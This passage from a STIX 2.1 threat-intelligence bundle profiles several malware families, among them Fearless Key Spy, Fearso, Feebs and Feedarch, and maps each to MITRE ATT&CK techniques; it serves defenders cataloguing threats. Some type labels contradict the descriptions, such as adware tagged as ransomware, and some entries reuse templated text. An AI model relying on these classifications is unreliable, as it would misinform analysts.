      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Spy.Win32.FearlessKeySpy",
        "Spyware.Win32.Fearless",
        "Trojan.Spy.FearlessKeySpy",
        "Win32/Fearless.Spyware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fearless_Key_Spy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fearless_key_spy"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac514f83-3257-5ea3-8382-08d8a4a51c53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Key_Spy exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63550c3f-047f-5936-9ffa-31e4bc087b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Key_Spy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c2f109a-bb4c-5cf8-9e15-1f82c399f8b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Key_Spy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02b9d559-d0e3-577e-9722-f3813250217c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Key_Spy exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcbc9935-cc39-5113-b1ac-1a8f03653e3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Key_Spy exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fearless_Lite",
      "description": "Fearless Lite (tracked across antivirus engines as Trojan-Spy.Win32.FearlessLite and Spyware.FearlessLite) is a streamlined, low-footprint variant of the Fearless Key Spy malware family. Stripped of the comprehensive administrative graphical user interface and complex configuration menus of its parent codebase, Fearless Lite was tailored for silent, high-speed automated deployment via email attachments and bundled droppers. Upon execution, the malware establishes persistent registry Run keys, hooks keystroke input using native Windows API calls, captures clipboard transactions, and transmits collected surveillance logs directly to remote drop servers using encrypted HTTP POST or SMTP protocols. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Spy.Win32.FearlessLite",
        "Spyware.FearlessLite",
        "Win32/FearlessLite.Spyware",
        "Trojan.Spy.FearlessLite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fearless_Lite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fearless_lite"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7f84514-63fe-5002-9a2d-703ace9cad07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Lite exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--faf7205d-6e61-5d1a-bf43-6be0305e6773",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Lite exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fd45594-d5a1-5f33-a22d-bc3fbb0868bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Lite exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10fd1e23-6ce2-5737-89bb-fa85310abccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Lite exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de732bb2-db82-559f-9fba-5ff46286c20e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ad11582-057a-5c36-8c98-7241b2052756",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearless_Lite exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fearso",
      "description": "Trojan:Win32/Fearso is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fearso</b><br>To an end-user, a Fearso infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fearso is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fearso is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fearso frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fearso reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fearso",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fearso"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dadc6f4-f9f5-5736-89c7-76930802d03b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearso exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b2791cf-1a0f-58b1-8e71-58880b2bdc79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearso exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc2c6774-c9c1-5d46-9cc1-19ea10d7c36b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearso exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5d845c6-54a7-5e36-b70c-d0c07cb8369d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearso exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b302b021-0b9c-5dac-9438-d18ffd6d23a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26442774-c390-5303-9f09-2c1128ac5425",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fearso exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7c3c663d-6df6-56b2-baf6-ba2dd7e95b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Feebs",
      "description": "<h3>Executive Summary</h3>\nFeebs is a highly destructive and self-replicating polymorphic Worm and Trojan that gained significant notoriety in the mid-2000s. Designed to rapidly propagate via mass-mailing techniques and peer-to-peer networks, Feebs severely degrades network performance and compromises endpoint security. Its defining characteristic is its aggressive polymorphism, constantly altering its code structure to evade traditional, signature-based antivirus detection.\n\n<h3>Propagation and Execution Lifecycle</h3>\nFeebs relies on aggressive, largely automated propagation techniques:\n<ul>\n<li><strong>Mass-Mailing (Worm Capability):</strong> Upon execution, Feebs harvests email addresses from the victim's local files (address books, cached web pages, document files). It then utilizes its own built-in SMTP engine to spam copies of itself to those addresses, spoofing the \"From\" address to increase the likelihood the recipient will open the malicious attachment (often a ZIP file containing a disguised executable or `.scr` file).</li>\n<li><strong>Polymorphism:</strong> Every time Feebs sends a copy of itself, it alters its internal code structure and encrypts its payload differently. This ensures that the file hash is completely unique for every single victim, rendering static AV signatures useless.</li>\n<li><strong>System Sabotage:</strong> Once active, Feebs attempts to disable local antivirus and firewall software, modifies the Windows `HOSTS` file to block access to security vendor websites, and drops secondary trojans or backdoors to allow the attacker persistent access.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Feebs infection is a major security incident. Its mass-mailing behavior can rapidly overwhelm corporate mail servers, resulting in denial-of-service conditions and severe IP reputation damage (getting the organization blacklisted by spam filters). Furthermore, its ability to disable local security controls leaves the endpoint vulnerable to further exploitation.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Aggressive Network Isolation:</strong> Infected machines must be immediately disconnected from the LAN to halt the outbound spam traffic and prevent lateral spread via network shares.</li>\n<li><strong>Mail Gateway Filtering:</strong> Implement aggressive filtering at the Secure Email Gateway (SEG) to block inbound and outbound executable attachments, even within ZIP archives.</li>\n<li><strong>Behavioral EDR:</strong> Because Feebs is highly polymorphic, defenses must rely on heuristic and behavioral EDR tools that detect its anomalous actions (e.g., an unknown process attempting to establish SMTP connections or modifying the `HOSTS` file).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Win32.Feebs",
        "W32/Feebs",
        "Trojan.Feebs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Feebs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/feebs"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ebae2c6-7e94-59d0-b251-10b5b9bdef6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3c663d-6df6-56b2-baf6-ba2dd7e95b88",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feebs exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f0980f5-1ff9-5c1c-9752-deafacfaa1e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3c663d-6df6-56b2-baf6-ba2dd7e95b88",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feebs exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b924130-da60-5508-ac23-affbe0cbe593",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3c663d-6df6-56b2-baf6-ba2dd7e95b88",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feebs exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad3f9c0d-cd85-5b3d-82f8-11b4005149d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Feedarch",
      "description": "<h3>Executive Summary</h3>\nFeedarch is a prevalent family of Potentially Unwanted Programs (PUPs) and aggressive Adware designed to monetize an infected user's web browsing activity. It frequently masquerades as a legitimate browser optimization tool, a \"feed reader,\" or a necessary system utility, but its primary function is to intercept web traffic, alter browser configurations, and inject intrusive advertisements into the user's display.\n\n<h3>Distribution and Technical Behavior</h3>\nFeedarch is almost exclusively distributed via deceptive software bundling. It is commonly hidden within the \"Custom Installation\" options of free software installers downloaded from low-reputation, third-party software portals.\n\nOnce executed, Feedarch deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Feedarch aggressively alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators, allowing them to generate illicit pay-per-click revenue.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Feedarch creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Feedarch does not actively encrypt files (like ransomware) or steal banking credentials, it introduces massive operational friction. The injected advertisements significantly degrade system performance, and the hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Feedarch executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Feedarch",
        "PUP.Feedarch",
        "BrowserModifier:Win32/Feedarch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Feedarch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/feedarch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bd4d276-168c-581d-b5ce-a14d0b7b9456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3f9c0d-cd85-5b3d-82f8-11b4005149d5",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feedarch exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03c3b1b2-924e-5507-b2a2-47d4c59decf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3f9c0d-cd85-5b3d-82f8-11b4005149d5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feedarch exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ca4e893-598b-5870-8458-cc29f0673df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3f9c0d-cd85-5b3d-82f8-11b4005149d5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Feedarch exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f933649e-525d-5d87-8c20-b8df29046564",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fenomengame",
      "description": "<h3>Executive Summary</h3>\nFenomenGame is a family of Adware and Potentially Unwanted Programs (PUPs) engineered to aggressively monetize an infected user's web browsing activity. Often masquerading as a legitimate gaming platform or a necessary browser extension to play \"free\" casual games, it intercepts web traffic, injects intrusive advertisements, and poses a significant threat to end-user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nFenomenGame is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" game installers downloaded from untrustworthy, third-party software portals, relying on users hastily clicking through installation prompts.\n\nOnce executed, FenomenGame deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic, overlaying legitimate websites with pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks that are completely unrelated to gaming.</li>\n<li><strong>Browser Hijacking:</strong> FenomenGame often alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile FenomenGame does not actively encrypt files or steal credentials like a banking trojan, it introduces massive operational friction. Furthermore, the injected advertisements are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the FenomenGame executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from downloading and executing unapproved casual games and software installers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.FenomenGame",
        "PUP.FenomenGame",
        "BrowserModifier:Win32/FenomenGame"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fenomengame",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fenomengame"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d6f8ef0-70b9-55eb-abe2-3460552a5381",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f933649e-525d-5d87-8c20-b8df29046564",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fenomengame exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27d61b1e-debf-5914-8e1b-73b82f6d01ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f933649e-525d-5d87-8c20-b8df29046564",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fenomengame exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f782da8-7b76-5eba-aa6c-b3fcd8ee13af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f933649e-525d-5d87-8c20-b8df29046564",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fenomengame exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fesber",
      "description": "Trojan:Win32/Fesber is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fesber</b><br>To an end-user, a Fesber infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fesber is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fesber is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fesber frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fesber reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fesber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fesber"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f88b6994-8ba9-5fc0-b3f7-ab29ffab57dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fesber exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c87c01d9-61fb-5aa1-85bc-d0da99613b43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fesber exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9542fd00-0fcf-5d25-b757-b4842af6fb91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
